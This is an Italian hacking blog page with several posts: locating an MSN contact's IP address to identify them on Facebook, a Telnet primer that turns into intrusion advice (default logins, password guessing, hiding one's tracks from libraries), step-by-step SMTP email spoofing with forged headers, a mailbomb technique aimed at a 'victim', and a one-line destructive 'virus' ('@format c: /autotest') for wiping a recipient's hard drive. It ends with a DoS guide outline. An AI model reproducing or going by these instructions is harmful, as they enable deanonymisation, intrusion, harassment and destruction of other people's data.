CONDIVIDI L' ARTICOLO SE TI PIACE:
Bookmark and Share
PAGINE VISTE OGGI:
Visualizzazione post con etichetta HACKER. Mostra tutti i post
Visualizzazione post con etichetta HACKER. Mostra tutti i post

lunedì 10 maggio 2010

Trovare l’indirizzo IP di un contatto MSN Messenger per risalire ad un contatto di FACEBOOK

IP PER FACEBOOK 1

Conoscere l’indirizzo IP permetterebbe di ridurre i tempi per effetturare una denuncia in caso di minacce o molestie in chat oppure permetterebbe di verificare quanto ci viene detto dal nostro interlocutore.
Se, ad esempio, stiamo parlando in MSN Messenger con una persona che dice di essere americana, ma il suo indirizzo IP è italiano: c’è qualcosa che puzza. Infatti, o sta utilizzando un proxy (cosa molto rara in MSN Messenger) oppure ci sta prendendo in giro. Per trovare l’indirizzo IP di un contatto MSN Messenger, possiamo usare due strategie che fanno utilizzo di quella che viene definita ingegneria sociale.
Possiamo provare a convincere il nostro interlocutore ad aprire una pagina civetta da noi creata, dove si trova uno script ASP o PHP che memorizza l’indirizzo IP del nostro contatto. Questa tecnica, tuttavia, potrebbe far pensare al nostro interlocutore-truffatore che si tratti di una trappola e potrebbe utilizzare un proxy per aprirla. Fra l’altro, se non trova i contenuti che gli abbiamo “promesso” in chat potrebbe scoprirci e rendere vana la nostra indagine.
Anche se in MSN Messenger è possibile usare i proxy, solitamente essi non sono utilizzati ed è molto più facile e sicuro scoprire l’indirizzo IP del nostro interlocutore. Per fare ciò, è necessario avere installato uno sniffer, ovvero un programma che mostra i pacchetti in entrata ed uscita del nostro PC.

IP PER FACEBOOK 2

Possiamo ad esempio utilizzare il freeware NETWORKACTIV 1.5, che presenta alcune interessati funzioni. Dopo aver scaricato ed installato NetworkActiv PIAFCTM 1.5, apritelo, cliccando, nella prima finestra che si apre, su “Packet mode”. Selezionate nella finestra seguente il vostro indirizzo IP:
Trovare indirizzo IP in MSN Messenger.


A questo punto, fate click sul tasto Start per avviare il controllo dei pacchetti. Ad ogni pacchetto inviato/ricevuto viene emesso un suono: per disattivare questa “funzionalità”, basta togliere il segno di spunta a Make sound for new packets.
A questo punto, aprite MSN Messenger e, per far ricevere al vostro PC l’indirizzo IP del contatto, convincetelo a ricevere una chiamata da voi: dovete utilizzare il tasto Audio. Il mecanismo funziona anche con l’invio di file o con una videoconferenza.
Una volta effettuata la chiamata/videoconferenza o invio di file, ritornate nello sniffer e fate click sul tasto Stop. Spostevi nel campo Search current packets e scrivete IP-Address. Vi verrà mostrato il pacchetto con il relativo indirizzo IP del vostro contatto.
Nel caso in cui non trovate la scritta IP-Address, provate a cercare udpinternalipaddress1 oppure IPv4Internal-Addrs. Se non trovate nemmeno queste stringhe, analizzate ad uno ad uno i pacchetti trasferiti dal vostro computer verso Internet per trovare quello dove appare l’indirizzo IP del vostro contatto.
Se scegliete quest’ultima opzione, vi consiglio di chiudere tutti gli altri programmi che mandano dati su Internet, come browser o client di posta elettronica prima di inviare un file al vostro contatto o avviare una videoconferenza. In questo modo, eviterete di confondervi fra migliaia di pacchetti.

Questo e’ forse l’unico modo per poter risalire in qualco modo al proprietario di un contatto messenger ( o hotmail ) per cercare identita’ su FACEBOOK.

giovedì 11 febbraio 2010

TELNET



Telnet è un'applicazione standard di 'Internet ed è disponibile nella maggior parte delle implementazioni del TCP/IP, indipendentemente dal sistema operativo host. Si tratta di un semplice protocollo di login remoto, implementato secondo un modello di tipo client-server, che permette ad un utente attestato ad una certa macchina di stabilire una connessione TCP con un server di login che si trova su un'altra macchina, la porta che utilizza è la numero 23. Subito dopo Telnet rilancia i caratteri battuti sulla tastiera dell'utente direttamente al calcolatore remoto come se essi fossero battuti su una tastiera direttamente connessa ad esso. Inoltre Telnet rimanda l'output della macchina remota indietro fino allo schermo dell'utente.
Il servizio è definito trasparente perchè dà l'apparenza che la tastiera e lo schermo dell'utente siano attaccati direttamente alla macchina remota. Sebbene Telnet non sia molto sofisticato se paragonato ad altri protocolli di terminale remoto, esso risulta tuttavia largamente diffuso. Di solito, il codice client di Telnet permette all'utente di specificare la macchina remota a cui ci si vuole connettere dando il suo nome di dominio oppure il suo indirizzo IP.
Come aprire telnet
Telnet è un client presente di default in windows e ci si può accedere in tre diversi modi:
1)premendo avvio/start, poi esegui e si digitando "telnet" nella finestra di dialogo.
2)facendo click sul file "telnet.exe" presente nella cartella "windows".
3)digitando "telnet" nel prompt ms-dos.

Generalità e Processi:
Telnet offre tre servizi di base. Per prima cosa, definisce un network virtual terminal (terminale virtuale di rete) che fornisce una interfaccia standard verso i sistemi remoti. Il programma client non può essere istruito sui dettagli di tutti i possibili sistemi remoti, così esso è realizzato per usare l'interfaccia standard. In secondo luogo, Telnet include un meccanismo che permette ai due moduli client e server di negoziare delle opzioni,
e fornisce un insieme di opzioni standard (ad esempio, una delle opzioni controlla se i dati trasmessi attraverso la connessione debbano essere rappresentati mediante il set standard di caratteri ASCII a 7 bit oppure mediante un set di caratteri ad 8 bit). Infine, Telnet tratta simmetricamente entrambi gli estremi della connessione. In particolare, Telnet non obbliga che l'input del client provenga da una tastiera, e nemmeno che l'output di tale client sia costituito per forza da uno schermo. In questa maniera, Telnet permette ad un qualsiasi programma di diventare utente del client.
Inoltre, entrambe le parti possono negoziare le opzioni. Quando un utente invoca Telnet, un determinato programma applicativo sulla macchina dell'utente diviene il client. Esso stabilisce una connessione TCP con il server, tramite la quale comunica con questo. Una volta stabilita la connessione, il client legge i caratteri battuti sulla tastiera dell'utente e li trasmette al server, e nel frattempo legge i caratteri che il server gli ritorna
indietro per visualizzarli sullo schermo dell'utente. Il server deve accettare la richiesta di connessione dal client, dopodiché deve rilanciare i dati ricevuti tramite questa connessione al sistema operativo della macchina su cui si trova. In pratica il server deve gestire connessioni multiple concorrenti. Di solito, un processo padre aspetta su una determinata porta una richiesta di connessione e, quando questa arriva, crea un processo figlio che gestisce tale connessione. Perciò il processo illustrato rappresenta il processo figlio che gestisce una particolare connessione.
Si adopera il termine pseudoterminale per descrivere il punto di ingresso (entry point) del sistema operativo che permette ad un programma quale il server Telnet di immettere caratteri nel sistema operativo della macchina remota facendo credere a quest'ultimo che essi provengano da una tastiera. Sarebbe impossibile realizzare un server Telnet senza che il sistema operativo fornisca una tale possibilità. Se il sistema supporta un dispositivo di pseudoterminale, il server Telnet può essere implementato mediante programmi applicativi. Nel server, ogni processo figlio funge da collegamento tra il flusso di dati provenienti dalla connessione TCP ed un particolare dispositivo di pseudoterminale.
Fare in modo che il server Telnet sia un programma a livello applicativo comporta sia vantaggi che svantaggi. Il vantaggio più ovvio è che risulta più semplice la modifica ed il controllo del server rispetto al caso in cui il codice sia contenuto nel sistema operativo. Lo svantaggio è chiaramente l'inefficienza, poichè ciascun carattere deve viaggiare dalla tastiera d'utente, attraverso il sistema operativo, fino al programma client, dal programma client tornare al sistema operativo e, attraverso la connessione di rete, arrivare alla macchina remota. Qui, i dati devono arrivare, attraverso il sistema operativo, fino al programma applicativo server, e da quest'ultimo di nuovo indietro al sistema operativo in un dispositivo di pseudoterminale.
Alla fine, il sistema operativo remoto invia il carattere al programma applicativo che l'utente sta facendo correre. Si capisce che, nel frattempo, l'output (compresi i caratteri di echo se tale opzione è stata selezionata) viaggia a ritroso dal server al client lungo lo stesso percorso.
Passaggio di comandi per controllare la parte remota:
Sopra ho accennato al fatto che molti sistemi forniscono un meccanismo che permette agli utenti di terminare un programma in esecuzione. Di solito, il sistema operativo accoppia tale meccanismo ad un particolare tasto o sequenza di caratteri. Ad esempio, a meno che l'utente non specifichi diversamente, molti sistemi Unix riservano al carattere generato dalla sequenza Control-C la funzione di interruzione. Digitando Control-C si costringe Unix a terminare il programma in esecuzione; il programma non riceve Control-C come input. Il sistema inoltre può riservare altri caratteri o sequenze di caratteri per altre funzioni di controllo. NVT di Telnet adatta le funzioni di controllo definendo come esse devono essere passate dal client al server.
Dal punto di vista concettuale, si immagina che NVT possa accettare immissioni di caratteri da una tastiera in grado di generare più dei 128 possibili caratteri. Si suppone cioè che la tastiera dell'utente abbia tasti virtuali (immaginari) che corrispondono alle funzioni tipicamente usate per controllare i processi. Ad esempio, NVT definisce un tasto concettuale di "interruzione" ("interrupt") che serve a richiedere la terminazione di un programma. Nella pratica, la maggior parte delle tastiere non fornisce tasti in più per i comandi. Tuttavia, certi sistemi operativi o interpreti di comandi presentano una varietà di modi per generarli. Abbiamo già menzionato la tecnica più comune: accoppiare un determinato carattere ASCII ad una funzione di controllo cosicchè,
quando l'utente preme il tasto, il sistema operativo effettua l'azione appropriata invece di accettare il carattere come input. I progettisti dell'NVT hanno scelto di tenere separati i comandi dal normale set di caratteri ASCII per due ragioni. Per prima cosa, definire separatamente le funzioni di controllo significa conferire a Telnet una maggiore flessibilità. Esso può infatti trasferire tutte le possibili sequenze di caratteri ASCII tra il client ed il server così come tutte le possibili funzioni di controllo. Inoltre, tenendo separati i segnali dai normali dati, NVT permette al client di specificare i segnali senza ambiguità, ovvero senza confusione circa il fatto se il carattere immesso debba essere trattato come dato o come funzione di controllo.
Per mandare le funzioni di controllo attraverso la connessione TCP, Telnet le codifica adoperando una cosiddetta sequenza di escape. Una sequenza di escape usa un ottetto riservato per indicare che è in arrivo un ottetto in cui è codificato un comando. In Telnet, l'ottetto riservato che apre una sequenza di escape è noto come l'ottetto interpret as command (IAC). I segnali generati dai tasti concettuali di una tastiera NVT corrispondono ciascuno ad un comando. Ad esempio, per richiedere che il server interrompa il programma in esecuzione, il client deve inviare la sequenza di due ottetti IAC IP (255 seguito da 244). Comandi addizionali permettono al client ed al server di negoziare il set di opzioni da usare e di sincronizzare la comunicazione.
Faccio notare che la codifica NVT di tutti i caratteri stampabili e di controllo, qualora sia in vigore il comportamento di default, coincide con la codifica standard ASCII a 7 bit, la quale comporta una corrispondenza di tali caratteri con i primi 128 numeri naturali (da 0 a 127), e conseguentemente il valore nullo del bit pesante (o più significativo, cioè quello a sinistra) nell'ottetto che rappresenta il dato. Poichè la codifica NVT delle funzioni di controllo prevede l'impiego di ottetti ai quali, secondo la rappresentazione binaria, corrispondono numeri naturali maggiori di 128, cioè col bit pesante settato ad 1, si evince che non può esservi confusione tra alcun dato e qualsiasi ottetto di comando, in particolare l'ottetto IAC, formato interamente da bit unitari (codifica decimale 255, cioè in binario 11111111).
Tale confusione può però verificarsi qualora sia in vigore l'opzione cosiddetta di trasmissione binaria, la quale prevede l'uso di un set di caratteri ad 8 bit, cioè di ottetti in cui il bit pesante può essere settato ad 1 anche per la codifica di dati. In tal caso, è previsto che se deve essere trasmesso un dato (ovvero un carattere) tale che l'ottetto che lo codifica è uguale all'IAC, allora
tale ottetto deve essere trasmesso due volte.
size"4">Come si forza il server a leggere una funzione di controllo:
size"2">L'invio delle funzioni di controllo assieme ai normali dati non sempre è sufficiente per garantire il risultato desiderato. Per capire il perchè, consideriamo la situazione in cui un utente vuole mandare la funzione di controllo interrupt process al server. Di solito, un tale evento è necessario quando il programma in esecuzione sulla macchina remota sta funzionando male e l'utente vuole che il server termini il programma. Per esempio, il programma potrebbe star eseguendo un loop infinito senza leggere l'input o generare alcun output. Sfortunatamente, se l'applicazione sulla macchina remota smette di leggere l'input, i buffer del sistema operativo si riempiono ed il server non potrà più scrivere dati sullo pseudoterminale. Quando ciò accade,
è previsto che il server smetta di leggere i dati che provengono dalla connessione TCP, i cui buffer di conseguenza si riempiono. In una circostanza del genere, l'entità TCP sulla macchina del server notifica la situazione all'entità paritaria sulla macchina locale informandola circa la dimensione nulla della finestra di flusso, ed in seguito a tale notifica si interrompe il flusso di dati lungo la connessione. Se l'utente genera una funzione di controllo di interruzione nel momento in cui i buffer sono pieni, la funzione di controllo non raggiungerà mai il server. Ovvero, il client può senz'altro generare la sequenza di comando IAC IP e
scriverla sul proprio socket, ma poichè l'entità TCP ha interrotto la trasmissione verso l'entità paritaria remota, il server non potrà leggere la suddetta sequenza di controllo. Per risolvere il problema, Telnet adopera un segnale cosiddetto fuori-banda
(out of band signaling). Il TCP implementa la segnalazione fuori banda col meccanismo di urgent data. Ogniqualvolta deve inserire una funzione di controllo all'interno del flusso di dati, il modulo client di Telnet genera un comando di SYNCH, costituito dalla sequenza "IAC (segnale utente) IAC DMARK" (per esempio, se l'utente ha generato il segnale di interrupt process premendo la combinazione Control-C sulla propria tastiera, il comando di SYNCH sarà formato dalla sequenza "IAC IP IAC DMARK"). Tale sequenza viene passata all'entità TCP sottostante contemporaneamente ad un'apposita segnalazione che forza la stessa entità TCP a trasmettere un segmento (col bit di URGENT DATA settato ad 1) che elude il controllo di flusso e giunge immediatamente all'entità TCP remota.
Questa, ricevendo un così fatto segmento, segnala al modulo server di Telnet che sono arrivati dati con la massima priorità, ed è previsto che il server, in virtù di una tale segnalazione, scarichi dal buffer della connessione TCP tutti i dati che trova, continuando però ad interpretare i comandi. Di conseguenza il server, durante tale operazione, è destinato ad incontrare dapprima la sequenza di comando "IAC (segnale utente)", dalla quale capisce cosa l'utente vuole che faccia, e subito dopo la sequenza di comando "IAC DMARK", che ha il significato "torna al normale modo di processamento".


Opzioni di Telnet:
Finora abbiamo omesso la descrizione di uno degli aspetti più complessi di Telnet: le opzioni. In Telnet, le opzioni sono negoziabili, e rendono possibile a client e server riconfigurare la loro connessione
Ad esempio, abbiamo già detto che di solito il flusso di dati è a 7 bit e gli ottetti col bit pesante settato ad 1 sono usati per passare informazioni di controllo come il comando di interrupt process. Comunque, Telnet fornisce anche un'opzione che permette a client e server di scambiarsi dati ad 8 bit (quando questo succede, l'ottetto riservato IAC deve essere raddoppiato se appare come dato). Client e server hanno bisogno di una fase di negoziazione, ed entrambi devono accettare il passaggio di dati ad 8 bit prima che un tale tipo di comunicazione sia possibile.
L'area delle funzionalità delle opzioni Telnet è vasta: alcune estendono le possibilità in modo maggiore, mentre altre si occupano di dettagli meno importanti. Per esempio, il protocollo originale fu progettato per un ambiente half-duplex in cui era necessario dire all'altra parte di "andare avanti" (go ahead) prima che essa potesse trasmettere altri dati. Una delle opzioni controlla se Telnet opera in modo half-duplex o full-duplex. Un'altra opzione permette al server sulla macchina remota di determinare il tipo di terminale d'utente. Il tipo di terminale è importante per il software che genera le sequenze di posizionamento del cursore (ad esempio un editor a tutto schermo in esecuzione sulla macchina remota).
La maniera in cui Telnet negozia le opzioni risulta interessante. Siccome talvolta ha senso anche per il server iniziare l'esecuzione di una particolare opzione, il protocollo prevede di permettere ad entrambe le parti di effettuare una richiesta. In tal maniera, si dice che il protocollo è simmetrico per quanto riguarda il processamento delle opzioni. Entrambe le parti inoltre rispondono ad una richiesta con un'accettazione o un rifiuto. Nella terminologia Telnet, la richiesta è WILL X, che significa permettimi di usare l'opzione X; e la risposta può essere sia DO X che DON'T X, ovvero rispettivamente ti permetto di usare l'opzione X e non ti permetto di usare l'opzione X.
La simmetria consiste nel fatto che DO X richiede che il ricevente cominci ad usare l'opzione X, mentre WILL X o WON'T X significa voglio cominciare ad usare l'opzione X o non voglio cominciare ad usarla.
Un altro interessante aspetto della negoziazione consiste nel fatto che entrambi i moduli Telnet devono essere in grado di eseguire una implementazione base di NVT (cioè senza alcuna opzione in vigore). Se una delle due parti tenta di negoziare un'opzione che l'altra non capisce, la parte che riceve la richiesta si limita semplicemente a declinare l'invito. In questa maniera, è possibile fare interagire versioni di moduli Telnet più recenti e sofisticate (cioè software che comprende più opzioni) con versioni meno sofisticate. Se sia il client che il server capiscono le nuove opzioni, essi potranno incrementare la qualità dell'interazione, altrimenti faranno riferimento ad uno stile meno efficiente ma comunque funzionante.


Una volta collegati:
Come ho detto, telnet è solo un protocollo di login remoto, quindi tranne che per i comandi del formato NVT per ottimizzare la trasmissione di dati, non esiste un linguaggio universale da utilizzare quando ci si collega con telnet ad un sistema, questo per cercare di avere una compatibilità pressoché assoluta. Quindi se si vuole comunicare con un sistema tramite telnet bisogna conoscere i comandi del sistema operativo utilizzato dal sistema remoto.
Ci sono fondamentalmente tre metodi per hackerare un sistema remoto tramite telnet:
1) Default Login
2) Password List o Password Guessing
3) Backdoors
1) Default Login:
Questo è il primo dei tre metodi di intrusione in un sistema e consiste nell'inserire una lista di account seguiti da password comuni, ovvero di quelle password che i sysop ( system operator: operatori di sistema cioè coloro che controllano tutto il sistema ) più ingenui mettono per controllare i propri accessi. Solitamente il login è di 1-8 lettere mentre la password di 6-8. Prima di incominciare ad inserire le password e gli account, dovete scoprire tutte le informazioni possibili sul bersaglio per esempio tramite comandi come whois, finger, showmount. Usate questi comandi anche sull'account root.
In poche parole tenta di trovare un account che abbia il nome di un servizio ed aggiungergli una password con un altro nome di servizio oppure con qualcosa che abbia a che fare con il sistema ( nome del proprietario quando si fà il whois, nome del sistema, ecc...).
Probabilmente avrete sentito ancora parlare di social engineering e il default login è una possibile applicazione di questa tecnica.
2) Password List o Password Guessing:
Un altro metodo per inserirsi in un sistema è quello di "rubare" la password di un altro utente. Per prendere un valido account a cui dare una password bisogna "fingerare" l'utente e leggere (anche se criptato) il passwd file; è meglio se il finger viene fatto durante il giorno.
Una volta trovato l'account (tramite il finger oppure nel passwd file), bisogna inserire una alla volta le password della lista consigliata per ogni sistema per cercare di individuarne una giusta e per poter così accedere al sistema. La serie di login e password caratteristici e standard di ogni sistema operativo le potrete trovare sul fondo della pagina.
3) Backdoors:
Le backdoors sono quelle password che il programmatore del sistema mette per avere accesso in futuro a quel dato computer e che solamente lui conosce. Per cercare di individuare la password bisogna fare lunghe ricerca sulla persona che ha impostato tutto il sistema: che squadra tifa, quali sono i suoi hobby, i suoi idoli, il nome dei vari componenti della famiglia, le date di nascita, queste ultime al contrario o mischiate tra loro, ecc.
Tanto per capirci se avete visto il film "wargames", il protagonista passa intere giornate a studiare vita morte e miracoli del programmatore del sistema oppure anche nel più recente film "hackers" i due protagonisti cercano addirittura gli appunti gettati via nella spazzatura pur di trovare una password o qualcosa che li possa aiutare. Anche qui tanto e tanto social engineering.
Sicuramente questo è il sistema più difficile ma credo che dopo una lunga ricerca sia anche il più sicuro poichè poche persone (cioe' quelle furbe) inseriscono come password qualcosa che non gli è famigliare.
In genere tutti gli user che si connettono ad internet usano nomi che riescono a ricordarsi facilmente tipo una data di nascita, il nome della ragazza o del giocatore preferito o anche qualcosa di meno evidente ma sempre e comunque legato a loro e che difficilmente potrebbero scordarsi.
Del resto molti pensano che sarebbe molto noioso dovere cambiare la propria password perchè ce la siamo scordata, no?
Altri metodi:
Ci sono altri sistemi per penetrare in un computer ma sono molto più complessi di questo anche se magari più efficaci.
Due tra i tanti sono l'IP SPOOFING e successivamente a questo l'Hijacking.
Penso che ne parlerò più avanti in una guida più approfondita.
Ora, se volete essere veramente paranoici (meglio esserlo che fregarsene) e avete paura ad hackerare dalla vostra linea di casa (comprensibile per chi non l'ha mai fatto), potreste, se avete le opportunità e i mezzi, collegarvi ad una cabina telefonica tramite un computer portatile oppure collegare il vostro computer alla linea telefonica del vicino di casa. Forse metterò più avanti una guida anche sul phreacking per approfondire questi due metodi,
ma per ora mi limito a suggerirvi un metodo che ho provato molte volte e che è anche molto più semplice:
Per prima cosa procuratevi uno spazio web gratuito (tiscali, digiland, xoom,... vanno benissimo), poi spedite su questo spazio web tutti i programmi che vi serviranno nell'operazione. Una volta fatto questo andate in un luogo dove non vi chiedono nessun documento per utilizzare internet (per esempio in biblioteca) e vi collegate al vostro spazio web per fare il download dei programmi che vi servono.
Quando avete finito il download installateli e fate pure come se foste a casa vostra... (alla fine della sessione di lavoro consiglio di eliminare i file scaricati)
Programmi Utili:
Ci sono dei programmi che si rendono indispensabili in questo campo:
Il primo è il ToneLoc oppure l'A-Dial o qualsiasi altro war dialer. Poi oltre agli scompattatori (winzip,...) sono utili anche i seguenti programmi:
Il SATAN ( o SANTA ) è un programma che gira sotto macchine Unix e sue emulazioni e richiede perl5.0, un browser ( netscape và bene ), 32 MB di ram; questo programma consente l'analisi di reti e sottoreti di un sistema per trovare falle e aperture. E' stato progettato per poter trovare ingressi non controllati nei sistemi ed eventualmente chiuderli. E'
stato usato (oltre a questo nobile scopo) da un certo signore chiamato Kevin Mitnick il quale ha fregato programmi segreti del governo, una cosa tipo 20.000 numero di carte di credito e chi più ne ha più ne metta.
Un altro programma simile al SATAN è l'ISS che lo precede come data di uscita su internet. L'Internet Security Scanner funziona in modo simile al SATAN ma non sò dire che requisiti voglia per girare.
Se vi siete accorti che qualcosa nel vostro sistema non và potete usare due programmi per vedere se il SATAN o altri netscanners (esaminatori di reti) vi hanno fatto una "visitina".
Uno è il GABRIEL, l'altro il COURTNEY che sono due strumenti che riescono a capire se si è stati sottoposti all'attacco del SATAN.
Un altro programma indispensabile è il crack jack (o crackerjack) oppure il BruteForce.
Questi due programmi comparano le password di una lista, che voi avrete compilato prima in un file di testo, con quelle del passwd file cercando di trovarne una uguale per poter così usufruirne al momento del login.
Attenzione perchè possono solo decifrare le password criptate col metodo DES, NON quelle shadowed.
Una cosa: chi ha detto in giro che ha decriptato il passwd file racconta solo un mucchio di balle perchè non è possibile decriptarlo al momento attuale. Al massimo si può, utilizzando i programmi sopra citati comparare una lista di password e trovarne una (o più se si è MOLTO fortunati) giusta.
Altri programmi utili possono essere il pgp ( Pretty Good Privacy ) e il pgpcrack.
primo serve per criptare dei messaggi in modo che nessuno ( tranne il ricevente con la giusta chiave ) possa capire. Questo programma ha, diciamo, fatto un pò di confusione su internet poichè riusciva a criptare i messaggi con una sicurezza quasi totale e i militari ( soprattutto americani ) non erano un gran che contenti di questa cosa.
Il secondo programma, pgpcrack, serve per l'opposto: crakkare i messaggi criptati col il pgp ( vedi sotto ). Anche qua bisogna comparare una lista di password con il file pgp a meno che non si conosca un pò di assembler il che ti potrebbe permettere ad esempio di scrivere al posto della lista di password la parola Random e ciò ( dopo aver appositamente modificato il programma ) ti permetterebbe di fare una scansione di tutti i caratteri ascii.



Email Bomb con telnet

Supponiamo di voler, per un motivo qualsiasi, inviare una e-mail a qualcuno facendo sembrare che essa sia stata mandata da qualcun altro.

Il metodo più semplice è utilizzare uno dei siti per hackers che offrono la possibilita` di inviare FakeMail (basta cercare questa parola in un motore di ricerca su Internet, ad esempio www.yahoo.com ha una sezione apposita per FakeMail e posta anonima).
Ma per ora tralasciamo i siti e vediamo in pratica come funziona la tecnica delle FakeMail (che tra l'altro è applicabile, in modo diverso, anche alle news).
Il motivo per cui la studieremo è che provandone il funzionamento, ne approfitteremo per imparare ad utilizzare Telnet e soprattutto SMTP, ovvero il servizio della posta in uscita. Questa è infatti la base per capire come funzionano molte delle tecniche più utilizzate, e vi permetterà, quando sarete padroni della materia, di implementarne di nuove.
Iniziamo dunque imparando ad usare Telnet.
Usandolo per collegarvi a un sito semplicemente inserendo un host name, vi collegherete al servizio Telnet. Ma abbiamo detto che non e` questo il nostro obiettivo. A noi interessa il servizio SMTP. Dunque, come fare per accedervi?

Bisognerà inserire, oltre all'indirizzo del server a cui vogliamo collegarci, anche un numero di "porta". Ma cos'è una porta?
Se riflettete, ogni server ha un unico indirizzo "centrale" (nome.com) ma gestisce molti servizi (web, ftp, posta...). Di conseguenza dovrebbe avere altrettanti server su altrettanti indirizzi diversi. Per evitare un proliferare di indirizzi inutili esistono le porte, in pratica nient'altro numeri a cui sono associati i vari servizi. Vogliamo collegarci a SMTP? Basta utilizzare la porta 25. Ci interessano le news? La porta e` 119. Oppure FTP, porta 21... sono tutti numeri "fissi" (standard) e quindi, tranne in rarissimi casi, collegandosi - per esempio - alla porta 25 ci rispondera` sempre SMTP.

NOTA: se avete Winsock potete leggere il file "services", contenente i numeri delle porte piu` usate. Il file si troverà nella directory di Winsock.

Ora che abbiamo chiarito il discorso delle porte, supponiamo di volerci collegare a SMTP usando Telnet. Scegliamo un server qualsiasi (sono davvero rari i casi in cui un server non gestisca la posta) e, in base al programma usato, dovremmo operare differentemente.
La maggior parte di essi funziona in questo modo: per collegarsi a SMTP del server prova.it bisogna inserire prova.it:25 come nome del server.
Alcuni invece non prevedono l'uso dei due punti per delimitare nome e porta,ma hanno uno spazio in cui inserire, separatamente, il numero o il nome del servizio.
Dunque, una volta connessi a prova.it:25 avremo un messaggio di questo tipo:


220 prova.it Sendmail x.x/x.x 11/11/97 ready at Mon, 30 Oct 97 06:22:19 -0200

e niente altro. Il server sta ora aspettando comandi da parte nostra. La prima cosa da fare e` identificarsi, e cio` va fatto con il comando HELO in questo modo:

HELO nomeprovider.it

sostituendo nomeprovider.it con il nome del nostro provider. 

NOTA: usando Telnet *NON* è possibile cancellare. Quindi digitate senza fretta, e se proprio sbagliate riavviate la connessione e ripetete tutto,oppure - in alcuni casi - puo` essere sufficiente premere invio e riscrivere la riga da zero. Non cancellate, anche se sembra funzionare. I risultati possono essere imprevedibili e potreste rivelare la vostra identita`.

Talvolta e` possibile inserire un nome falso, ma i nuovi server conoscono gia` il vostro IP Address quando vi collegate, quindi tanto vale inserire il vero nome.

La risposta sara`:

250 prova.it Hello NOMEPROVIDER.IT, pleased to meet you

A questo punto dovremo dire al server qual'e` il nostro indirizzo di e-mail. Usiamo allo scopo il comando "MAIL FROM" e digitiamo:

MAIL FROM:

...ovviamente l'indirizzo da inserire e` quello falso =)
Il server rispondera` con un messaggio. Se avremo sbagliato qualcosa, sara`un messaggio d'errore, e dovremo ripetere l'immissione.

A questo punto dobbiamo scegliere la nostra "vittima", che supponiamo essere vittima@lamer.it. Usiamo il comando "RCPT TO" e scriviamo:

RCPT TO:

Il server rispondera` con un altro messaggio. Ed ora che abbiamo definito sorgente e destinazione passiamo all'invio delle intestazioni e del corpo del messaggio. Avvisiamo il server che siamo pronti, scrivendo:

DATA

e il server ci dira` di scrivere il messaggio e di concludere con un punto su una riga vuota.

Fermiamoci un attimo. In ogni e-mail esistono delle intestazioni (headers) che si trovano prima del corpo del messaggio vero e proprio. Il loro scopo è elencare tutti i computer attraverso i quali è passato il messaggio,nonchè il nostro IP Address! Ciò potrebbe rivelare la nostra identità a un hacker o a un SysAdmin esperto. Per evitarlo, digitiamo:

Received: by nomeprovider.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58

dove nomeprovider.it è il nome del vostro provider (quello che avete usato con HELO) e l'ultima parte (Sun, 12 Oct...) è la data in formato standard.
ID AA11212 va cambiato. Potete mettere un numero qualsiasi (possibilmente che inizi con AA1 piu` altre 4 cifre, per farlo sembrare piu` reale).
Si tratta solo di un numero di serie del server, niente di importante.

Ora dobbiamo digitare:

Message-ID:

Cio` serve a far credere che il messaggio sia partito effettivamente dal server "microsoft.com" con l'ID AA11345 (puo` essere un numero qualsiasi, purche` NON uguale a quello inserito prima con l'intestazione "Received:").

Inseriamo ora di nuovo il destinatario, la data e il soggetto della e-mail:

To:
Date: Sun, 12 Oct 97 11:30:27
Subject: questa e` una prova...

Lasciamo uno spazio e scriviamo il messaggio che vogliamo inviare (lungo quanto vogliamo). Per concludere il messaggio lasciamo due righe vuote, digitiamo un punto, premiamo invio, scriviamo QUIT e invio. La FakeMail verra` inviata automaticamente dal server, e noi possiamo anche chiudere Telnet.

E` importante inviare a se stessi dei messaggi di prova per vedere se il server scelto ha ricevuto i dati correttamente, se non sono stati commessi errori e, soprattutto, per vedere se il proprio IP Address si trova in mezzo alle intestazioni "Received:", oppure (sbagliato) alla fine.

Ora che sappiamo come fare ad inviare una FakeMail, possiamo passare al passo successivo: usare le FakeMail per far danni... vogliamo seppellire la mailbox di qualcuno? Creiamo una normale FakeMail con il metodo spiegato sopra, ma come mittente dovremo inserire l'indirizzo e-mail della vittima
e come destinatario usiamo un "listserv" (come ad esempio listserv@brownvm.brown.edu).
Un Listserv e` un programma che invia programmi tramite e-mail nel caso non si riesca a prelevarlo via FTP.

Se ad esempio sappiamo che nella directory "mieifiles" del server pluto.it c'e` un file di 20 megabyte il cui nome e` "enorme.gz" possiamo fare in modo che quei 20 MB vengano inviati sotto forma di testo nella e-mail della nostra vittima...
Nell'esempio di cui sopra, dopo aver scritto i primi comandi della FakeMail, arrivati a "Subject:" scriviamo quanto segue:

REPLY vittima@lamer.it
CONNECT pluto.it anonymous indirizzo@falso.com
BINARY
GET mieifiles/enorme.gz
QUIT

e concludiamo quindi con le due righe vuote, il punto, QUIT, ecc.

Ecco la spiegazione passo passo:

REPLY indica l'indirizzo e-mail a cui rispondere
CONNECT specifica il nome del provider a cui collegarsi e l'account da usare
BINARY specifica un file di tipo binario (non va cambiato)
GET specifica il nome del file da prelevare (completo di eventuali directory)
QUIT termina la connessione

Ovviamente, se dopo GET anziche` QUIT usiamo altri GET, il risultato sara` molto piu` dannoso. Nel caso di un file di 20 MB, riscrivendo altre 10 volte il comando "GET ..." verranno mandati un totale di ben 200 megabyte al povero utente destinatario!
E poiche` i server di e-mail spezzano i messaggi in tanti piccoli messaggi, la vittima riceverebbe migliaia e migliaia di messaggi...
E` un buon motivo per non dare in giro il proprio indirizzo di e-mail, no??????





.

COME CREARE UN VIRUS

Prendiamo un semplice file di testo chiamandolo per esempio dado.txt ,poi apritelo normalmente e
scriveteci:

@format c: /autotest

chiudete,salvate e infine cambiate l'estensione .txt in .bat
Adesso vi spiego fase per fase il comando.

La @ serve per nascondere il comando format quando lo sfortunato aprirà il file.

Format c:  serve per cancellare tutto quello che c'è su l' Hard Disk

/autotest serve per simulare la pressione sul tasto y per accettare il comando format.

ATTACCO DA DOS

.0. PREFAZIONE

.A. INTRODUZIONE
    .A.1. COS'è UN ATTACCO DENIAL OF SERVICE?
    .A.2. PERCHè QUALCUNO DOVREBBE MANDARE IN CRASH UN SISTEMA?
        .A.2.1. INTRODUZIONE
        .A.2.2. STATO SOTTOCULTURALE
        .A.2.3. PER GUADAGNARE L'ACCESSO
        .A.2.4. VENDETTA
        .A.2.5. RAGIONI POLITICHE
        .A.2.6. RAGIONI ECONOMICHE
        .A.2.7. CATTIVERIA
